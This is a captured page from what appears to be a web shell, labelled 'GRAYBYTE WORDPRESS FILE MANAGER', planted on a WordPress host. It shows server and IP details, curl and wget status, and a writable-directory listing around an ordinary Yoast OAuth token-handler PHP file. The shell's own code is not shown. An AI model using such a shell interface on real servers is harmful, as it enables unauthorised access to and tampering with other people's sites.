✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.191
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/blocks-20260910233336/sys-temp/application//oauth-grant-handler.php
<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.

namespace Yoast\WP\SEO\MyYoast_Client\Application;

use InvalidArgumentException;
use Yoast\WP\SEO\MyYoast_Client\Application\Exceptions\Client_Authentication_Exception;
use Yoast\WP\SEO\MyYoast_Client\Application\Exceptions\Discovery_Failed_Exception;
use Yoast\WP\SEO\MyYoast_Client\Application\Exceptions\Server_Capability_Exception;
use Yoast\WP\SEO\MyYoast_Client\Application\Exceptions\Token_Request_Failed_Exception;
use Yoast\WP\SEO\MyYoast_Client\Application\Grants\Grant_Interface;
use Yoast\WP\SEO\MyYoast_Client\Application\Ports\Client_Authenticator_Interface;
use Yoast\WP\SEO\MyYoast_Client\Application\Ports\Client_Registration_Interface;
use Yoast\WP\SEO\MyYoast_Client\Application\Ports\Discovery_Interface;
use Yoast\WP\SEO\MyYoast_Client\Application\Ports\OAuth_Server_Client_Interface;
use Yoast\WP\SEO\MyYoast_Client\Domain\Resource_Indicator;
use Yoast\WP\SEO\MyYoast_Client\Domain\Token_Set;
use YoastSEO_Vendor\Psr\Log\LoggerAwareInterface;
use YoastSEO_Vendor\Psr\Log\LoggerAwareTrait;
use YoastSEO_Vendor\Psr\Log\NullLogger;

/**
 * Central handler for OAuth token endpoint requests.
 *
 * Handles client authentication (private_key_jwt) and delegates grant-specific
 * parameters to the provided Grant_Interface. Executes the token request via
 * the token endpoint client and handles error responses.
 */
class OAuth_Grant_Handler implements LoggerAwareInterface {
	use LoggerAwareTrait;

	/**
	 * The discovery port.
	 *
	 * @var Discovery_Interface
	 */
	private $discovery;

	/**
	 * The client registration port.
	 *
	 * @var Client_Registration_Interface
	 */
	private $client_registration;

	/**
	 * The client authenticator port.
	 *
	 * @var Client_Authenticator_Interface
	 */
	private $client_authenticator;

	/**
	 * The token endpoint client port.
	 *
	 * @var OAuth_Server_Client_Interface
	 */
	private $oauth_server_client;

	/**
	 * OAuth_Grant_Handler constructor.
	 *
	 * @param Discovery_Interface            $discovery            The discovery port.
	 * @param Client_Registration_Interface  $client_registration  The client registration port.
	 * @param Client_Authenticator_Interface $client_authenticator The client authenticator port.
	 * @param OAuth_Server_Client_Interface  $oauth_server_client  The token endpoint client port.
	 */
	public function __construct(
		Discovery_Interface $discovery,
		Client_Registration_Interface $client_registration,
		Client_Authenticator_Interface $client_authenticator,
		OAuth_Server_Client_Interface $oauth_server_client
	) {
		$this->discovery            = $discovery;
		$this->client_registration  = $client_registration;
		$this->client_authenticator = $client_authenticator;
		$this->oauth_server_client  = $oauth_server_client;
		$this->logger               = new NullLogger();
	}

	/**
	 * Executes a token endpoint request using the provided grant strategy.
	 *
	 * Ensures the client is registered, creates a client assertion, merges
	 * grant-specific parameters, and sends the request. The resource indicator
	 * is added to the body (unless it's the default-resource instance) and
	 * stamped onto the resulting Token_Set so storage and audit code can
	 * introspect the audience.
	 *
	 * @param Grant_Interface    $grant              The grant strategy providing grant-specific parameters.
	 * @param Resource_Indicator $resource_indicator The resource indicator (RFC 8707) the grant targets. Use Resource_Indicator::default() for the default resource.
	 *
	 * @return Token_Set The token set from the response.
	 *
	 * @throws Token_Request_Failed_Exception If the token request fails.
	 */
	public function request_token( Grant_Interface $grant, Resource_Indicator $resource_indicator ): Token_Set {
		$registered_client = $this->client_registration->ensure_registered();

		try {
			$token_endpoint = $this->discovery->get_document()->get_token_endpoint();
		} catch ( Discovery_Failed_Exception | Server_Capability_Exception $e ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Internal exception message.
			throw new Token_Request_Failed_Exception( 'discovery_failed', $e->getMessage(), 0, $e );
		}

		$client_id = $registered_client->get_client_id();

		try {
			$client_assertion = $this->client_authenticator->create_client_assertion( $client_id, $token_endpoint );
		} catch ( Client_Authentication_Exception $e ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Internal exception message.
			throw new Token_Request_Failed_Exception( 'client_authentication_failed', $e->getMessage(), 0, $e );
		}

		$body = \array_merge(
			[
				'grant_type'            => $grant->get_grant_type(),
				'client_id'             => $client_id,
				'client_assertion_type' => 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer',
				'client_assertion'      => $client_assertion,
			],
			$grant->get_grant_params(),
		);

		// RFC 8707 resource indicator is cross-cutting — independent of grant type.
		// The Resource_Indicator value object proves the value is already canonical.
		if ( ! $resource_indicator->is_default() ) {
			$body['resource'] = $resource_indicator->value();
		}

		$result = $this->oauth_server_client->request(
			'POST',
			$token_endpoint,
			[
				'headers' => [ 'Content-Type' => 'application/x-www-form-urlencoded' ],
				'body'    => $body,
				'dpop'    => true,
			],
		);

		if ( ! $result->is_successful() ) {
			$error       = (string) $result->get_body_value( 'error', 'unknown' );
			$description = (string) $result->get_body_value( 'error_description', '' );
			$this->logger->warning(
				'Token request failed for grant {grant_type}: HTTP {status}, error={error} {description}',
				[
					'grant_type'  => $grant->get_grant_type(),
					'status'      => $result->get_status(),
					'error'       => $error,
					'description' => $description,
				],
			);

			$body = $result->get_body();
			if ( \is_array( $body ) && isset( $body['error'] ) ) {
				// phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Internal exception message.
				throw Token_Request_Failed_Exception::from_response( $body, $result->get_status() );
			}
			// phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Internal exception message.
			throw new Token_Request_Failed_Exception( 'token_request_failed', 'HTTP ' . $result->get_status(), $result->get_status() );
		}

		$body = $result->get_body();
		if ( ! \is_array( $body ) ) {
			throw new Token_Request_Failed_Exception( 'invalid_token_response', 'Token endpoint did not return a JSON object.' );
		}

		try {
			$token_set = Token_Set::from_response( $body );
		} catch ( InvalidArgumentException $e ) {
			// phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Internal exception message.
			throw new Token_Request_Failed_Exception( 'invalid_token_response', $e->getMessage(), 0, $e );
		}

		// Per RFC 8707's trust model (§2, §4), the client is authoritative for the
		// canonical resource indicator. We always stamp the requested value on the
		// result rather than honouring any echoed `resource` field from the AS.
		return $token_set->with_resource_indicator( $resource_indicator );
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
23 Sep 2026 1.07 PM
docteuh / users
0755
exceptions
--
12 Sep 2026 2.14 PM
docteuh / users
0755
grants
--
12 Sep 2026 2.55 PM
docteuh / users
0755
inlite
--
13 Sep 2026 12.23 AM
docteuh / users
0755
ports
--
12 Sep 2026 10.21 AM
docteuh / users
0755
100-width.php
0.915 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
authorization-code-handler-20260911114045.php
12.62 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
authorization-code-handler.php
12.62 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
background.min.css
2.685 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
contactform7.css
4.555 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
extra.css
22.089 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
gravityforms.css
8.189 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
header-legacy.css
112.781 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
icon-redirect-manager-20260828122352.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
ilightbox.css
47.553 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
ilightbox.min.css
41.193 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
layerslider.css
2.093 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
menu.css
46.294 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
myyoast-client-cleanup.php
2.43 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
myyoast-client.php
17.041 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
oauth-grant-handler.php
7.121 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
sidebars.css
0.721 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
ssl-test-page.html
0.155 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
token-revocation-handler.php
4.043 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
uninstall-20260909080038.php
3.406 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
uninstall.php
3.406 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
wpml.min.css
2.376 KB
20 Nov 2023 7.11 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF